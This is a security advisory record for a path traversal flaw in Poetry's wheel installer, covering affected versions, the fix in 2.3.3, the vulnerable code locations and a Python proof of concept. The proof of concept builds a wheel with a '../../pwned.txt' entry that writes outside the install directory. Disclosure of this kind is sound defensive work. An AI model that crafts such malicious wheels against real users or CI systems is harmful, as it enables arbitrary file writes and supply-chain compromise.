{"id":"CVE-2026-34591","aliases":["GHSA-2599-h6xx-hpxp","PYSEC-2026-2260"],"title":"Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write","summary":"Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write","severity":"medium","cvss":6.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","vendor":"poetry","product":"poetry","ecosystem":"pip","affected":["poetry >= 1.4.0, < 2.3.3"],"patched":["poetry 2.3.3"],"published":"2026-04-01","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:42.075152286Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-2599-h6xx-hpxp","references":[{"url":"https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34591"},{"url":"https://github.com/python-poetry/poetry/pull/10792"},{"url":"https://github.com/python-poetry/poetry"},{"url":"https://github.com/python-poetry/poetry/releases/tag/2.3.3"},{"url":"http://github.com/python-poetry/poetry/commit/ed59537ac3709cfbdbf95d957de801c13872991a"}],"tags":["osv","pip"],"epss":0.00468,"epssPercentile":0.39697,"ingestedAt":"2026-07-13T18:57:51.123Z","slug":"CVE-2026-34591","body":"## Overview\n\n### Summary\nA crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. \n\n### Impact\nArbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.\n\n### Patches\n\nVersions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.\n\n### Details\nPoetry’s wheel destination path is built by directly joining an untrusted wheel entry path:\n\nsrc/poetry/installation/wheel_installer.py:47\nsrc/poetry/installation/wheel_installer.py:59\n\nThe vulnerable sink is reachable in normal installation:\nsrc/poetry/installation/executor.py:607\n\nNo resolve() + is_relative_to() style guard is enforced before writing.\n\n### POC\n\n```\nfrom pathlib import Path\nimport tempfile, zipfile, sys\nfrom installer import install\nfrom installer.sources import WheelFile\nfrom poetry.installation.wheel_installer import WheelDestination\n\nroot = Path(tempfile.mkdtemp(prefix=\"poetry-poc-\"))\nwheel = root / \"evil-0.1-py3-none-any.whl\"\nbase = root / \"venv\" / \"lib\" / \"pythonX\" / \"site-packages\"\nfor d in [base, root/\"venv/scripts\", root/\"venv/headers\", root/\"venv/data\"]:\n    d.mkdir(parents=True, exist_ok=True)\n\nfiles = {\n    \"evil/__init__.py\": b\"\",\n    \"../../pwned.txt\": b\"owned\\n\",\n    \"evil-0.1.dist-info/WHEEL\": b\"Wheel-Version: 1.0\\nRoot-Is-Purelib: true\\nTag: py3-none-any\\n\",\n    \"evil-0.1.dist-info/METADATA\": b\"Metadata-Version: 2.1\\nName: evil\\nVersion: 0.1\\n\",\n}\nfiles[\"evil-0.1.dist-info/RECORD\"] = (\"\\n\".join([f\"{k},,\" for k in files] + [\"evil-0.1.dist-info/RECORD,,\"])+\"\\n\").encode()\n\nwith zipfile.ZipFile(wheel, \"w\") as z:\n    for k,v in files.items(): z.writestr(k,v)\n\ndest = WheelDestination(\n    {\"purelib\":str(base),\"platlib\":str(base),\"scripts\":str(root/\"venv/scripts\"),\"headers\":str(root/\"venv/headers\"),\"data\":str(root/\"venv/data\")},\n    interpreter=sys.executable, script_kind=\"posix\"\n)\nwith WheelFile.open(wheel) as src:\n    install(src, dest, {\"INSTALLER\": b\"PoC\"})\n\nout = (base / \"../../pwned.txt\").resolve()\nprint(\"outside write:\", out.exists(), out)\n```\n\n## Affected packages\n\n- `poetry >= 1.4.0, < 2.3.3`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `poetry 2.3.3`","depth":"sunlit","depthScore":36,"depthScoreParts":{"impact":35.8,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}